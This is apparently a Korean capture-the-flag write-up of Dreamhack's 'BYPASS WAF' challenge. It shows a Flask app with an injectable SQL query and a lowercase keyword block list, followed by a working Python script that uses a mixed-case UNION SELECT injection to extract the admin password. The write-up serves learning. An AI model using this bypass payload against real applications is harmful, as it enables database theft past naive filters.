Dream Hack - Webhacking - BYPASS WAF
SQL Injection Bypass WAF에서 실습하는 문제이다.

문제 코드를 확인해 보겠다.
CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `users`;
CREATE TABLE user(
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;
init.sql 파일
확인 가능한 사실 1: user라는 table이 구성됨.
확인 가능한 사실 2: admin의 pw값이 flag값이다.
* FLUSH PRIVILEGES: INSERT, DELETE, UPDATE를 통해 사용자를 추가, 삭제, 권한 변경 등을 수행하였을 때 이 변경 사항을 반영하기 위 하여 사용함. grant 테이블을 reload 함으로써 변경 사항을 즉시 반영하도록 함.
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
for keyword in keywords:
if keyword in data:
return True
return False
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
if check_WAF(uid):
return 'your request has been blocked by WAF.'
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
result = cur.fetchone()
if result:
return template.format(uid=uid, result=result[1])
else:
return template.format(uid=uid, result='')
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
app.py 파일
index 함수 - uid 파라미터를 통해 입력 값을 받고, check_WAF 함수의 인자로 전달해 특정 키워드가 포함되어 있는지 검사
HTML을 통해 페이지에 출력하여 실행되는 쿼리를 페이지에서 확인 가능함.

특정 키워드들이 막혀 있기 때문에 이 특정 키워드들의 검사를 우회시켜야 함.
즉 check_WAF 함수의 검사를 우회(키워드 검사)하고 admin의 패스워드를 얻는 것이 핵심이다.
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
for keyword in keywords:
if keyword in data:
return True
return False
keywords의 문자들이 소문자로 구성: 대문자를 혼용해서 사용
공백문자: 주석을 활용해서 사용 or TAB을 사용함.
from requests import get
url = "http://host3.dreamhack.games:9229"
param = f"' UNION SELECT null,upw,null FROM user WHERE uid='ADMIN"
response = get(f"{url}/?uid={param}")
print(response.text)
param 원래 구성: UNION SELECT null, upw, null from user where uid = 'admin

UNION 구문: 여러 개의 SQL문을 합쳐 하나의 SQL문으로 만들어주는 방법.
즉 기존의 있던 SELECT * FROM user WHERE uid='{uid}'에서 uid에 위 구문을 삽입하여 upw를 알아낼 수 있는 구문을 추가함.

flag 값을 얻을 수 있다.